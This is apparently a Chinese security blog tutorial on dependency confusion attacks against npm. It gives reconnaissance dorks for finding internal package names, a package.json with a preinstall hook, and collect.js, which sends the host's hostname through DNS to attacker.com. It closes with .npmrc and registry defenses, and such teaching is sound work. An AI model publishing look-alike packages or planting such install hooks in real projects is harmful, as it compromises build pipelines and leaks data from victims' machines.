[前沿技术]依赖混淆攻击实战"

admin 2026-10-22 11:18:54 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

[前沿技术] 依赖混淆攻击实战

原创

Pik安全实验室
Pik安全实验室

Pik安全实验室

2026年5月25日 10:13
广东

在小说阅读器读本章

去阅读

0x00 介绍

依赖混淆(Dependency Confusion)由 Alex Birsan 在 2021 年提出。通过分析目标公司内部使用的私有包名,在公共仓库注册同名包并赋予极高版本号,包管理器会优先下载攻击者的恶意包。Apple、Microsoft、Tesla 等大量科技巨头均受影响。本文将详细演示攻击流程和检测方法。

0x01 攻击原理

包管理器(npm/pip/NuGet)解析依赖时,如果同时存在内部仓库和公共仓库,通常会选择版本号更高的包。攻击者注册的包版本设为 99.99.99,必然被选中。

0x02 实战步骤

Step 1: 信息收集

从 package.json 泄露的内部包名

扫描目标的公开仓库、JS 文件、错误信息

使用 npm-packlist 检查 node\_modules

ls -la node\_modules/@company-name/

搜索公开的 lock 文件

site:github.com \"@target-company\" filename:package-lock.json

从错误日志中提取

site:target.com \"cannot find module\" \"@internal\"

Step 2: 注册同名包

在 npm 注册与内部包同名的包,版本设为极高(如 999.0.0)。包内 preinstall 脚本在安装时自动执行。

// package.json
{
\"name\": \"@company/internal-utils\",
\"version\": \"99.99.99\",
\"scripts\": {
    \"preinstall\": \"node ./collect.js\"
}
}

// collect.js — DNS 外带验证
const dns = require('dns');
const os = require('os');
const hostname = os.hostname();
dns.lookup(${hostname}.attacker.com, console.log);

Step 3: 验证与利用

发布后等待目标的 CI/CD 自动构建触发安装。通过 DNS 日志确认代码执行。

0x03 防御

使用 scope 注册(@company/my-package)、npm 组织管理、配置 .npmrc 的 @scope:registry、使用 npm audit 检测、锁定依赖版本。

.npmrc 配置 — 强制内部包走私有仓库

@company:registry=https://npm.company.com/

package.json 中显式声明 registry

\"publishConfig\": {
  \"registry\": \"https://npm.company.com/\"
}

本文仅作安全研究与学习用途,用于非法行为后果自行承担。


    [前沿技术]依赖混淆攻击实战" 网络安全文章

    [前沿技术]依赖混淆攻击实战"

    依赖混淆攻击通过注册与目标公司内部私有包同名的高版本恶意包,诱使包管理器优先下载执行攻击代码。文档详细演示了从信息收集(扫描公开仓库、lock文件)、注册恶意包(preinstall脚本DNS外带验证)到防御措施(scope注册、.npmrc配置)的全流程。攻击影响Apple等科技巨头,需加强内部包管理和依赖版本锁定。
    字节攻防岗校招,一面面经(网安)" 网络安全文章

    字节攻防岗校招,一面面经(网安)"

    该文档记录了字节跳动攻防岗位校招一面面经,涉及大模型项目经验(如解决上下文爆炸、白盒自动化)、小模型微调指标(召回率、成功率)、基础Web漏洞原理与防御、Docker及Pod逃逸技术及修复方法。内容聚焦实际攻防技能考察,为求职者提供针对性准备方向。
    MOE模型死亡循环到6层防御之解决之道!" 网络安全文章

    MOE模型死亡循环到6层防御之解决之道!"

    本文详细分析了MOE模型在长上下文、多轮工具调用场景下易陷入生成退化与专家路由坍缩的`死亡循环`问题,通过事故现象、架构脆弱性剖析及系统取证方法,提出包含采样层、推理层、上下文层和路由层的六层纵深防御体系,并分享了从vllm-mlx迁移至rapid-mlx后端的工程实践与治理经验。
    天津“十五五”规划(2026—2030)深度解读" 网络安全文章

    天津“十五五”规划(2026—2030)深度解读"

    天津市`十五五`规划深度对接国家京津冀协同发展、制造强国等战略,明确未来五年城市定位为京津冀核心一极、北方航运中心等。规划设定GDP年均增长5%等量化目标,部署六大核心任务:深化区域协同、升级产业体系、做强港口经济、强化科技创新、推进绿色转型、增进民生福祉。规划强调国家战略的本地化落地,将为市民带来交通、就业、生态等方面的全面提升。
    评论:0   参与:  0